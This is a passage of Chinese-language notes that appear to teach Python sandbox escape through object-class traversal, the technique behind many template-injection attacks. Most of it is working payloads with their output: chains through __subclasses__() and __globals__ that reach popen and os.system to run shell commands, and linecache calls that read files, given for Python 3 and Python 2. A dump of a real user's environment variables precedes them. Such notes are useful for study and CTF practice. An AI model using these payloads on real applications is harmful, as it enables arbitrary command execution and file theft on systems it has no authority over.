b'/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/extensions/git/dist/askpass.sh', b'VSCODE_GIT_ASKPASS_NODE': b'/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/node', b'VSCODE_GIT_ASKPASS_EXTRA_ARGS': b'', b'VSCODE_GIT_ASKPASS_MAIN': b'/home/aiuser/.vscode-server/bin/b3e4e68a0bc097f0ae7907b217c1119af9e03435/extensions/git/dist/askpass-main.js', b'VSCODE_GIT_IPC_HANDLE': b'/tmp/vscode-git-03ca713007.sock', b'VSCODE_IPC_HOOK_CLI': b'/tmp/vscode-ipc-1f65f058-5f4a-4f3b-a9de-ae8e03266c8e.sock', b'VSCODE_INJECTION': b'1', b'USER_ZDOTDIR': b'/opt/zim/zimfw', b'TERM': b'xterm-256color', b'GREP_COLOR': b'37;45', b'GREP_COLORS': b'mt=37;45', b'LESS_TERMCAP_mb': b'\x1b[1;31m', b'LESS_TERMCAP_md': b'\x1b[1;31m', b'LESS_TERMCAP_me': b'\x1b[0m', b'LESS_TERMCAP_ue': b'\x1b[0m', b'LESS_TERMCAP_us': b'\x1b[1;32m', b'LC_ALL': b'en_US.UTF-8', b'SSH_AGENT_PID': b'11054'}), 'getenvb': <function getenvb at 0x7f452cce8040>, 'fsencode': <function _fscodec.<locals>.fsencode at 0x7f452cce8160>, 'fsdecode': <function _fscodec.<locals>.fsdecode at 0x7f452cce81f0>, 'P_WAIT': 0, 'P_NOWAIT': 1, 'P_NOWAITO': 1, '_spawnvef': <function _spawnvef at 0x7f452cce80d0>, 'spawnv': <function spawnv at 0x7f452cce8280>, 'spawnve': <function spawnve at 0x7f452cce8310>, 'spawnvp': <function spawnvp at 0x7f452cce83a0>, 'spawnvpe': <function spawnvpe at 0x7f452cce8430>, 'spawnl': <function spawnl at 0x7f452cce84c0>, 'spawnle': <function spawnle at 0x7f452cce8550>, 'spawnlp': <function spawnlp at 0x7f452cce85e0>, 'spawnlpe': <function spawnlpe at 0x7f452cce8670>, 'popen': <function popen at 0x7f452cce8700>, '_wrap_close': <class 'os._wrap_close'>, 'fdopen': <function fdopen at 0x7f452cce8790>, '_fspath': <function _fspath at 0x7f452cce8b80>, 'PathLike': <class 'os.PathLike'>}
从中查找是否有关于文件读取的方法,比如open,file函数。在最后找到一个popen函数。
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("/home/aiuser/work/test.yaml").read()
/bin/sh: /home/aiuser/work/test.yaml: No such file or directory

#如果这里会报错添加__builtins__
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.__builtins__['popen']("/home/aiuser/work/test.yaml").read()

如果想直接在终端显示出来

"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']("type /home/aiuser/work/test.yaml").read()

在python2中可以使用如下形式读取文件的第一行,在python2中前面是否字符串还是元组或者字典对后面类的查找有不一样的结果。

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].getline("/home/aiuser/work/test.yaml", 1)
执行命令
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['linecache'].os.system('whoami')
aiuser

但是python2如果使用字符串的形式,会报如下错误,因为__bases__获取的并不是object类

>>> "".__class__.__bases__[0].__subclasses__()[59]
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
IndexError: list index out of range
只需要再去获得一次即可
>>> "".__class__.__bases__[0].__bases__[0].__subclasses__()[59]
<class 'warnings.WarningMessage'>